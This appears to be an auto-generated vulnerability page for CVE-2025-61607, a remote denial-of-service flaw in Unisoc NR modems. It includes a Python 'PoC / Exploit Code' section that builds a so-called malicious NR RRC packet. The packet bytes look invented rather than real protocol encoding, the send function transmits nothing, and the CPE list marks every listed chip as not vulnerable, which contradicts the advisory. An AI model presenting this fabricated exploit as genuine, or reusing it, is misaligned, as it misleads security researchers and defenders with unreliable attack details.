In nr modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed
cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:* - NOT VULNERABLE
Unisoc NR Modem (版本信息待官方披露)
紫光展锐5G/4G调制解调器芯片 (具体型号待确认)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61607 PoC - Unisoc NR Modem DoS
# Note: This is a conceptual PoC for demonstration purposes
# Actual exploitation requires specialized radio equipment and NR protocol knowledge
import struct
def generate_malicious_nr_packet():
"""
Generate a malicious NR RRC message that may trigger
input validation vulnerability in Unisoc NR modem
"""
# NR RRC Connection Setup message with malformed fields
packet = bytearray()
# RRC protocol version and message type
packet.extend([0x00, 0x01]) # Version and Message Type
# Cell Radio Network Temporary Identifier
packet.extend([0x00, 0x00, 0x00, 0x01])
# Malformed Frequency Domain Resource
# This may trigger improper input validation
packet.extend([0xFF, 0xFF, 0xFF, 0xFF])
# Invalid timing advance or other critical parameters
packet.extend([0x00, 0xFF, 0xFF, 0x00])
# Padding with unexpected values
packet.extend([0xAB, 0xCD, 0xEF, 0x00] * 10)
return bytes(packet)
def send_to_target(packet, target_ip, port=38472):
"""
Send malicious packet to target device
Note: Requires appropriate radio equipment for NR interface
"""
print(f"[*] Generated malicious NR packet: {len(packet)} bytes")
print(f"[*] Target: {target_ip}:{port}")
print("[*] Note: Actual exploitation requires NR-compatible radio equipment")
# Implementation would use SDR or network interface
if __name__ == "__main__":
malicious_packet = generate_malicious_nr_packet()
print("CVE-2025-61607 PoC - Unisoc NR Modem Input Validation Issue")
print(f"Packet length: {len(malicious_packet)} bytes")